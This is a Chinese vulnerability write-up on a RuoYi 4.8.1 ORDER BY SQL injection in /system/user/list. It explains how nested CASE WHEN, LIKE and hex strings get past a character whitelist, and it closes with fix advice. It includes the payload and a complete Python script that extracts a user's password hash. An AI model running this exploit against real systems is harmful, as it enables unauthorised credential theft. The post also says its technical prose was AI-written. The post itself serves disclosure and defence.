文章总结: 本文分析了若依4.8.1框架/system/user/list接口的SQL注入漏洞。在严格正则限制下,攻击者利用嵌套CASEWHEN语句、LIKE及十六进制编码绕过对括号、引号和等号的过滤,实现基于排序的布尔盲注。文中提供了完整Python脚本提取敏感数据,并建议将排序参数限制为枚举值及字段白名单进行修复。 综合评分: 94 文章分类: 代码审计,漏洞分析,漏洞POC
若依4.8.1-/system/user/list SQL注入
小Tiamo
貔瑞安全实验室
2026年1月4日 12:21 山东
免责声明:本文所涉及的技术、思路和工具仅供安全研究和教学使用。请勿利用本文中的技术对未授权的目标进行攻击。由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,本文作者不承担任何责任。
0x01 背景介绍
在最近的一次代码审计实战中,我针对经典的 RuoYi (v4.8.1) 框架进行安全评估。虽然该框架在 SQL 注入防御上做了大量工作(如 Mybatis 参数化查询、Filter 过滤器、工具类正则校验),但在 ORDER BY 排序功能的处理上,依然存在一个极其隐蔽的逻辑缺陷,技术部分也都是ai写的,但是脚本是真能用本地复现为ruoyi4.8.1+mysql5.5.26。
本文将复现如何在一个严苛的正则白名单(禁止括号、引号、等号)环境下,通过三级嵌套排序盲注,成功提取数据库敏感数据的过程。
0x02 漏洞定位
漏洞位于 ruoyi-common 模块的 SqlUtil.java 和 BaseController.java 中。
1. 入口点:
在后台的列表查询接口(如 /system/user/list)中,通常会接收 isAsc 和 orderByColumn 参数用于分页排序。
// BaseController.java
protectedvoidstartOrderBy(){
PageDomain pageDomain = TableSupport.buildPageRequest();
if (StringUtils.isNotEmpty(pageDomain.getOrderBy())) {
// 调用 SqlUtil 进行校验
String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
PageHelper.orderBy(orderBy);
}
}
2. 核心防御逻辑:
我们跟进 SqlUtil.escapeOrderBySql 方法:
// SqlUtil.java
publicstatic String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";
publicstatic String escapeOrderBySql(String value){
if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) {
thrownew UtilException("参数不符合规范,不能进行查询");
}
return value;
}
publicstaticbooleanisValidOrderBySql(String value){
return value.matches(SQL_PATTERN);
}
代码审计发现:
虽然 SqlUtil 定义了 filterKeyword(黑名单过滤),但在 escapeOrderBySql 中并没有调用它!
该方法仅依赖 isValidOrderBySql 进行正则校验。
0x03 绕过挑战:带着镣铐跳舞
防御正则为:[a-zA-Z0-9_\\ \\,\\.]+。这意味着我们面临以下地狱级限制:
- ❌ **禁止括号
()**:无法使用SLEEP(),IF(),SUBSTR(),UPDATEXML()等函数。 - ❌ **禁止引号
'"**:无法进行字符串比较(如='admin')。 - ❌ **禁止等号
=**:无法进行常规的条件判断。 - ❌ **禁止比较符
><**。
在如此严苛的条件下,如何进行数据提取?
思路演进
1. 寻找合法字符
正则允许:字母、数字、下划线、空格、逗号、点号。
这给了我们操作空间。
2. 替代方案
- **代替
=**:使用LIKE关键字。 - **代替
'string'**:使用十六进制Hex编码(如0x61...),MySQL 原生支持 Hex 与字符串比较,且由数字字母组成,符合正则。 - **代替
IF/SLEEP**:使用ORDER BY后的 布尔排序盲注。利用CASE WHEN ... THEN ... ELSE ... END语法(不需要括号)。
0x04 漏洞利用过程
1. 构造基础 Payload
我们试图控制排序顺序。
-- 原始 SQL 上下文
ORDER BY status, [注入点]
我们注入:
, CASE WHEN u.password LIKE 0x6125 THEN 0 ELSE 1 END
(注:0x6125 是 a% 的十六进制)
但实战中发现一个严重问题:默认排序干扰。
如果我猜错了,权重是 1;如果目标用户本身权重也是 1(或者平局),数据库会根据 ID 默认排序。这导致脚本无法判断到底是我猜对了,还是因为默认排序导致它排在前面。
2. 进阶:三级嵌套排序逻辑
为了彻底消除默认排序干扰,必须使用嵌套 CASE 逻辑,构建三个优先级:
- 优先级 0 (最高):是目标用户,且密码猜对了。
- 优先级 1 (中间):非目标用户(路人)。
- 优先级 2 (最低):是目标用户,但密码猜错了。
最终 Payload 结构(全程无非法字符):
, CASE WHEN u.user_id LIKE 2
THEN CASE WHEN u.password LIKE 0x[Hex密码] THEN 0 ELSE 2 END
ELSE1
END
- 解析:
- 使用
u.user_id LIKE 2代替u.user_id = 2。 - 使用
u.password LIKE 0x...代替字符串比较。 - 如果猜中,
Target排第一(权重0);如果没猜中,Target被强制踢到最后(权重2),路人排中间(权重1)。
0x05 PoC 脚本
以下是完整的 Python 自动化利用脚本,针对 ry 用户进行密码 Hash 提取。
import requests
import binascii
import sys
# --- 配置区域 ---
# 替换为你的有效 Cookie
COOKIE_VAL = "your-session-id-here"
TARGET_URL = "http://127.0.0.1/system/user/list"
TARGET_UID = 2# 目标用户ID (如 ry)
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Cookie": f"JSESSIONID={COOKIE_VAL}",
"User-Agent": "Mozilla/5.0"
}
defstring_to_hex_pattern(s):
# 将字符串转为 hex,并附加 % 的 hex 值 (25)
return"0x" + binascii.hexlify(s.encode()).decode() + "25"
defexploit():
print(f"[*] 开始利用无符号排序盲注提取 UserId={TARGET_UID} 的密码...")
extracted_pass = ""
# BCrypt 常见字符集
charset = "$1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ./"
whileTrue:
found_char = False
for char in charset:
current_guess = extracted_pass + char
hex_pattern = string_to_hex_pattern(current_guess)
# 核心 Payload:嵌套 CASE,无括号,无引号,无等号
payload = f", CASE WHEN u.user_id LIKE {TARGET_UID} THEN CASE WHEN u.password LIKE {hex_pattern} THEN 0 ELSE 2 END ELSE 1 END"
data = {
"pageNum": "1",
"pageSize": "10",
"orderByColumn": "status", # 必须使用非唯一字段主排序
"isAsc": payload
}
try:
res = requests.post(TARGET_URL, headers=HEADERS, data=data, timeout=5)
if res.status_code == 200:
json_data = res.json()
if"rows"in json_data and len(json_data["rows"]) > 0:
first_user_id = json_data["rows"][0]["userId"]
# 如果排在第一位的是目标用户,说明猜对了
if first_user_id == TARGET_UID:
extracted_pass += char
sys.stdout.write(f"\r[+] 成功提取: {extracted_pass}")
sys.stdout.flush()
found_char = True
break
except Exception:
pass
ifnot found_char:
print(f"\n[*] 提取结束。最终 Hash: {extracted_pass}")
break
if __name__ == "__main__":
exploit()
运行效果:
0x06 修复建议
该漏洞的本质是 isAsc 参数被设计为接受 SQL 片段,但校验逻辑存在正则白名单缺陷。
修复方案:
修改 ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java,将 isValidOrderBySql 改为枚举校验:
publicstaticbooleanisValidOrderBySql(String value){
// 强制只能是 asc 或 desc,禁止任何其他字符
return"asc".equalsIgnoreCase(value) || "desc".equalsIgnoreCase(value);
}
或者在 Controller 层,限制 orderByColumn 必须在允许的字段白名单内。
0x07 总结
这是一次典型的正则白名单绕过案例。在无法使用常规 SQL 注入符号的情况下,通过利用 MySQL 的 HEX 编码和 CASE WHEN 逻辑,结合排序的特性,实现了数据的侧信道传输。这也提醒开发者:不要试图用正则去清洗 SQL,参数化查询和严格的枚举校验才是王道。
觉得文章不错,点赞关注支持一下吧!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:貔瑞安全实验室 小Tiamo《若依4.8.1-/system/user/list SQL注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论